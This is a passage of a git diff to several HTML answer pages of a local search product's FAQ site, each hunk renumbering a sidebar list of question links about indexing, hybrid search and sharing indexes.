class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-zendesk-ticket-json-export.html b/landing/answers/search-zendesk-ticket-json-export.htmlindex 000aef62f..a10facae4 100644--- a/landing/answers/search-zendesk-ticket-json-export.html+++ b/landing/answers/search-zendesk-ticket-json-export.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class="active"><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/set-mcp-memory-storage-path.html b/landing/answers/set-mcp-memory-storage-path.htmlindex 656798c7c..556365aa3 100644--- a/landing/answers/set-mcp-memory-storage-path.html+++ b/landing/answers/set-mcp-memory-storage-path.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/share-folder-read-only-search-without-uploading.html b/landing/answers/share-folder-read-only-search-without-uploading.htmlindex 36071cfda..685229935 100644--- a/landing/answers/share-folder-read-only-search-without-uploading.html+++ b/landing/answers/share-folder-read-only-search-without-uploading.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span 